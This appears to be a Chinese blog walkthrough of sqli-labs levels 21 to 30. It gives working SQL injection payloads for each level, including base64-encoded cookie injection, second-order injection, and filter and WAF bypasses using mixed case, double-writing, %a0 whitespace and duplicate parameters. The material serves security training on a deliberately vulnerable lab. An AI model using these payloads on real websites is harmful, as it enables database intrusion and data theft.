sqli-labs详细全解(21-30)
第二十一关:
构造uname=admin’) and 1=2 union select 1,2,version()#
然后进行base64转码
uname=YWRtaW4nKSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLDIsdmVyc2lvbigpIw==
放入Cookie中。
sql-labs详细全解
第二十二:
构造uname=admin" and 1=2 union select 1,2,version()#
然后进行base64编码
uname=YWRtaW4iIGFuZCAxPTIgdW5pb24gc2VsZWN0IDEsMix2ZXJzaW9uKCkj
放入Cookie中。
sql-labs详细全解
第二十三关:
查看代码知,代码进行了正则表达式替换。
sql-labs详细全解
将-- 、#替换成了空。不能再使用注释符。
payload:a’ union select 1,version(),3 and ‘1’=‘2
sql-labs详细全解
第二十四关:
二次注入:
注册账号admin’ #
后面修改账号密码时,不要输入正确的密码就可以修改了,因为用户admin’ # 对后面的内容进行了注释。
sql-labs详细全解
sql-labs详细全解
我在源代码加入了输入sql的语句。
第二十五关:
因为过滤掉了or、and
所以用||、&、&&符号
也可以用双鞋绕过anandd
payload:a’ || ‘1’=‘1
sql-labs详细全解
第二十五关a:
跟二十五关的过滤时一样的,只是不用闭合引号。
payload:1000 || ‘1’=‘1’
sql-labs详细全解
第二十六关:
过滤了很多东西,我们可以用&,&&,||
%0b TAB键(垂直)
%a0 空格
windows+apache环境不能解析%0b,%a0
windows+nginx环境可以解析%0b,%a0
payload:a%27%0bunion%0bselect%0b1,version(),‘3
sql-labs详细全解
第二十六关a:
同二十六关,只是多加了一个括号。
payload:a’)%a0union%a0select%a01,version(),(%273
sql-labs详细全解
第二十七关:
sql-labs详细全解
过滤掉了关键字,但过滤不严格,采用大小写混写绕过。
payload:a’%a0uNion%a0sEleCt%a01,version(),%273
sql-labs详细全解
第二十七关a:
同二十七关,闭合的方式不一样而已。
payload:100"%a0uNion%a0sEleCt%a01,version(),“3
sql-labs详细全解
第二十八关:
过滤了“union select”但过滤不严格,双写绕过。
payload:100’)%a0uNion%a0sEleCt%a01,version(),(‘3
sql-labs详细全解
第二十八关a:
sql-labs详细全解
双写不能绕过,用%a0代替空格,
payload:100’)%a0uNion%a0sEleCt%a01,version(),('3
sql-labs详细全解
第二十九关:
在login.php这个文件中,有两个GET[id],waf_GET[id],有一个waf,但只检测第一个_GET[id],可构造如下payload:
id=1&id=0%27%20union%20select%201,2,%273
sql-labs详细全解
第三十关:
同上二十九关,只是闭合的方式不一样。
payload:
id=1&id=100” union select 1,version(),"3
sql-labs详细全解

相关文章: